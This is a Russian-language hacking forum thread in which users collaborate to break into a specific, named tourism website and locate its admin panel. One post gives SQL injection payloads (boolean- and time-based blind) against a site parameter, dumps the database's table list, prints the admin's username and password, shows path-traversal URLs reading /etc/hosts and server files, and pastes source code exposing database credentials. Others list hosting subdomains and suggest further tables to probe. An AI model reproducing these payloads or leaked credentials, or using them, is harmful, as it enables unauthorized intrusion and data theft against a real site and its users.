Помогите найти админку

Discussion in 'Уязвимости' started by Groove, 3 Aug 2019.

  1. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    174
    Likes Received:
    20
    Reputations:
    2
  2. Baskin-Robbins

    Baskin-Robbins Well-Known Member

    Joined:
    15 Sep 2018
    Messages:
    135
    Likes Received:
    374
    Reputations:
    20
    админку не получилось, но можем вот так
    cpanel.onlytourism.com
    webdisk.onlytourism.com
    webmail.onlytourism.com
     
    b3, Groove and seostock like this.
  3. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    211
    Likes Received:
    78
    Reputations:
    1
    Не знаю насколько еще актуально, но пока Вот что удалось собрать:
    Code:
    onlytourism.com/php.php
    Code:
    URL: onlytourism.com/tours-details.php?type=16&id=31&arrdate=23%2F08%2F2019&adults=3&children=2
    
    Code:
    Вектор:
    ---
    Parameter: id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: type=16&id=31' AND 2317=2317 AND 'TZhC'='TZhC&arrdate=23/08/2019&adults=3&children=2
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind
        Payload: type=16&id=31' AND SLEEP(5) AND 'RAuE'='RAuE&arrdate=23/08/2019&adults=3&children=2
    ---
    
    Таблицы БД
    Code:
    Database: onlytour_naddaf
    [46 tables]
    +-----------------------------------------+
    | onlytourism_admin                       |
    | onlytourism_adsense                     |
    | onlytourism_banners                     |
    | onlytourism_bannersmid                  |
    | onlytourism_bookpackages                |
    | onlytourism_booktour                    |
    | onlytourism_bookvisa                    |
    | onlytourism_category                    |
    | onlytourism_categorychannel             |
    | onlytourism_categorydir                 |
    | onlytourism_categoryhd                  |
    | onlytourism_categoryphoto               |
    | onlytourism_cms                         |
    | onlytourism_configurations              |
    | onlytourism_country                     |
    | onlytourism_countryliving               |
    | onlytourism_downloads                   |
    | onlytourism_gallery                     |
    | onlytourism_gallery_images              |
    | onlytourism_news                        |
    | onlytourism_news_admin                  |
    | onlytourism_news_maillist_subscribers   |
    | onlytourism_news_newsletter             |
    | onlytourism_news_newsletter_attachments |
    | onlytourism_news_newsletter_maillist    |
    | onlytourism_news_newsletter_templates   |
    | onlytourism_news_newslettersubscriber   |
    | onlytourism_packages                    |
    | onlytourism_prod_images                 |
    | onlytourism_prod_imagesdir              |
    | onlytourism_prod_imageshd               |
    | onlytourism_prod_price                  |
    | onlytourism_prod_pricedir               |
    | onlytourism_prod_pricehd                |
    | onlytourism_products                    |
    | onlytourism_products_catg               |
    | onlytourism_products_catgdir            |
    | onlytourism_products_catghd             |
    | onlytourism_productsdir                 |
    | onlytourism_productshd                  |
    | onlytourism_projectcat_images           |
    | onlytourism_projectcategory             |
    | onlytourism_services                    |
    | onlytourism_testimonials                |
    | onlytourism_tours                       |
    | onlytourism_vacancies                   |
    +-----------------------------------------+
    
    Данные администратора
    Code:
    Database: onlytour_naddaf
    Table: onlytourism_admin
    [1 entry]
    +----+-------------+-------------+
    | id | user        | pwd         |
    +----+-------------+-------------+
    | 1  | tourismcms  | onlypass563 |
    +----+-------------+-------------+
    
    /etc/hosts и путь к корневому index.php
    Code:
    onlytourism.com/download_file.php?fname=../../../../etc/hosts
    onlytourism.com/download_file.php?fname=../../../../home/onlytour/public_html/index.php
    
    Файлы которые удалось найти самому (чисто поверхностно):
    Code:
    /includes/analytics.php
    /includes/banner-inner.php
    /includes/footer.php
    /includes/header.php
    /includes/subscribe.php
    /lib/adsense.php
    /lib/application-footer.php
    /lib/application-top.php
    /lib/bannersmid.php
    /lib/category.php
    /lib/categorydir.php
    /lib/categoryhd.php
    /lib/class.phpmailer.php
    /lib/cms.php
    /lib/configurations.php
    /lib/conmanager.php
    /lib/connect.php
    /lib/news.php
    /lib/products.php
    /lib/seourl.php
    /pagination/pagination.class.php
    /about.php
    /blog.php
    /booking-tour.php
    /cms.php
    /contact.php
    /downloads.php
    /download_file.php
    /get-ajax.php
    /holiday-packages.php
    /index.php
    /packages-details.php
    /php.ini
    /tours-details.php
    /tours-search.php
    /tours.php
    
    Отрывок кода
    PHP:
    class MySqlConnectionManager extends ConnectionManager
    {  
        function 
    MySqlConnectionManager()
        {
            
    $this->hostName "localhost";
            
    $this->userName "onlytour_naddaft";
            
    $this->passWord "QYi8Lug4swSEr5J";
                                  
        }
        function 
    doConnection()
        {
            if(!(
    $this->conHandle mysql_connect($this->hostName$this->userName$this->passWord)))
            {          
                    die(
    "Cannot Connect to Host");
            }
        }
        function 
    selectDatabase()
        {
              
            
    mysql_select_db("onlytour_naddaf"$this->conHandle);  
        }  
    }
    PS: Если найду админку обновлю пост, а так надеюсь данная информация посодействует в поисках
     
    failsafe, stimfal, b3 and 4 others like this.
  4. karkajoi

    karkajoi Active Member

    Joined:
    26 Oct 2016
    Messages:
    248
    Likes Received:
    120
    Reputations:
    1
    Как вариант поискать путь к админке к бд, посмотреть пути в файлам, инетерсно выглядят вот эти таблицы
    onlytourism_cms
    onlytourism_configurations
     
    b3 likes this.
Loading...